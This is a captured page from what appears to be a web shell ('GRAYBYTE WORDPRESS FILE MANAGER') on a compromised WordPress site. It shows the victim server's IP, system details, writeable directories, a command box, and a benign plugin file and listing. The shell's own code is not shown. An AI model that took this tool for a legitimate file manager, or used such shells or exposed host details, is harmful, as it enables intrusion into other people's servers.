GRAYBYTE WORDPRESS FILE MANAGER1563

Server IP : 198.54.121.189 / Your IP : 216.73.216.140
System : Linux premium69.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
PHP Version : 7.4.33
Disable Function : NONE
cURL : ON | WGET : ON | Sudo : OFF | Pkexec : OFF
Directory : /home/giriqfky/trustyourlawyer.com/wp-content/plugins/elementskit-lite/core/
Upload Files :
Current_dir [ Writeable ] Document_root [ Writeable ]

Command :


Current File : /home/giriqfky/trustyourlawyer.com/wp-content/plugins/elementskit-lite/core//activation-actions.php
<?php

namespace ElementsKit_Lite\Core;

use ElementsKit_Lite\Libs\Framework\Classes\Onboard_Status;

defined( 'ABSPATH' ) || exit;

class Activation_Actions {

	private $key     = 'elementskit-lite__plugin_activated';
	private $has_key = false;

	public function init() {
		if ( ! is_admin() ) {
			return;
		}

		$this->process_key();

		if ( $this->has_key === false ) {
			return;
		}

		// call activation job classes or methods here.
		$this->flush_rewrite_rules();
		$this->redirect_to_onboard();
	}

	private function process_key() {
		if ( ! empty( get_option( $this->key ) ) ) {
			$this->has_key = true;
			delete_option( $this->key );
		}
	}

	private function flush_rewrite_rules() {
		// all CPTs must be declared completely before flushing rewrite rules. otherwise, it won't work as expected.
		flush_rewrite_rules();
	}

	private function redirect_to_onboard() {
		// Onboard_Status::redirect_onboard();
	}

}

[ Back ]
Name
Size
Last Modified
Owner / Group
Permissions
Options
..
--
July 10 2025 04:32:29
giriqfky / giriqfky
0755
.htaccess
0.41 KB
July 10 2025 04:32:29
giriqfky / giriqfky
0644
activation-actions.php
0.904 KB
May 18 2022 20:49:00
giriqfky / giriqfky
0644
build-inline-scripts.php
1.221 KB
June 20 2022 12:35:04
giriqfky / giriqfky
0644
build-modules.php
0.97 KB
May 18 2022 20:49:00
giriqfky / giriqfky
0644
build-widgets.php
2.433 KB
May 18 2022 20:49:00
giriqfky / giriqfky
0644
config-list.php
1.544 KB
May 24 2022 15:35:52
giriqfky / giriqfky
0644
handler-api.php
0.97 KB
May 18 2022 20:49:00
giriqfky / giriqfky
0644
handler-widget.php
0.706 KB
May 18 2022 20:49:00
giriqfky / giriqfky
0644

GRAYBYTE WORDPRESS FILE MANAGER @ 2025
CONTACT ME
Static GIF